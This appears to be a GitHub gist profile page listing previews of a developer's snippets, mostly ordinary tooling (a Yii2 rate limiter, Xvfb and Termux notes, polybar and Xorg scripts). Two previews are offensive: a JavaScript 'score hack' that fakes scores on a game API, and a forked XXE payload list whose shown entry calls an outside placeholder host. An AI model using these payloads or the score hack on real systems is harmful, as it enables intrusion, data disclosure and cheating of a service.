Skip to content

Instantly share code, notes, and snippets.

Avatar

Vitalii Rybalko vilkoz

  • WePlay Esports
  • Kyiv, Ukraine
View GitHub Profile
@vilkoz
vilkoz / ApiRateLimiter.php
Created August 10, 2022 15:42 — forked from demisang/ApiRateLimiter.php
Yii2 Api RateLimiter class with Redis storage implementation
View ApiRateLimiter.php
<?php
namespace common\components\rateLimiter;
use Yii;
use yii\base\BaseObject;
use yii\filters\RateLimitInterface;
/**
* API rate limiter.
@vilkoz
vilkoz / inspecting_xvfb_contents_xvfbwrapper.md
Last active July 10, 2020 00:21
Inspecting contents of window inside Xvfb for xvfbwrapper python module
View inspecting_xvfb_contents_xvfbwrapper.md

Add fbdir option to Xvfb object:

vdisplay = Xvfb(width=1920, height=1080, colordepth=24, fbdir="/tmp/")

This option will tell xfvb to save dumps of its contents to PROVIDED_FOLDER/Xvfb_screen<n>

The dump file will be in .xwd format, so it needs to be converted to some format supported by image viewers. For the convenience you can use the following script:

@vilkoz
vilkoz / clickable_date
Created February 28, 2020 18:37
Polibar plugin for date with onclick pop-up calendar
View clickable_date
#!/bin/bash
# ~/.config/polybar/clickable_date
day=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f3)
month=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f2)
year=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f1)
time=$(timedatectl | grep "Local" | awk '{print $5}' | cut -d ":" -f1,2)
echo "$day-$month-$year $time"
@vilkoz
vilkoz / .xinitrc
Last active February 27, 2020 23:31
Nvidia optimus laptop run Xorg on nvidia gpu by default
View .xinitrc
systemctl --user import-environment DISPLAY
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto
exec i3
#exec startkde
@vilkoz
vilkoz / plot_cli.py
Created October 17, 2018 12:04
draw simple dot plot in terminal
View plot_cli.py
#!/usr/bin/env python3
def generate_empty_map(x, y):
m = []
for _ in range(y):
row = []
for __ in range(x):
row.append(' ')
m.append(row)
return m
@vilkoz
vilkoz / draw_chat.py
Created September 23, 2018 23:31
telegram-cli python ncurses gui
View draw_chat.py
import sys,os
import curses
import json
from subprocess import check_output
from draw_menu import clear, my_raw_input
from tcp_client import tgcli_send_command
class NcChat():
def __init__(self, user):
@vilkoz
vilkoz / gamee.js
Last active March 26, 2023 21:10
Gamee Karate Kido 2 score hack
View gamee.js
// VALUES TO CHANGE
const playTime = 16;
const SCORE = 1337;
const blockCnt = 32660
// END VALUES TO CHANGE
async function getAuthToken() {
let gameUrl = window.location.pathname;
let auth_data = {
"jsonrpc": "2.0",
@vilkoz
vilkoz / search_user.js
Last active June 2, 2018 10:53
find users in UNIT cluster
View search_user.js
//https://cheatera.unit.ua/42/projects/matcha
g = document.querySelectorAll('.highcharts-axis-labels > text > tspan');
a = [];
for (let i = 0; i < g.length; i++)
{
a.push(g[i].innerHTML);
}
a = a.map(function(x) {return x.split(" ")[1];});
a.filter(function(x) {return x});
@vilkoz
vilkoz / setup_http_server_on_android_with_termux.md
Last active February 13, 2023 06:51
setup http server on android with termux
View setup_http_server_on_android_with_termux.md

Setting up http server on android with termux

Setting SSH server

To be able to make all procedures without pain you should have physical keyboard or just install ssh server and connect to your device shell from computer.

Folow this guide to setup ssh server.

Installing needed stuff

@vilkoz
vilkoz / XXE_payloads
Created June 30, 2017 13:04 — forked from waywardsun/XXE_payloads
XXE Payloads
View XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>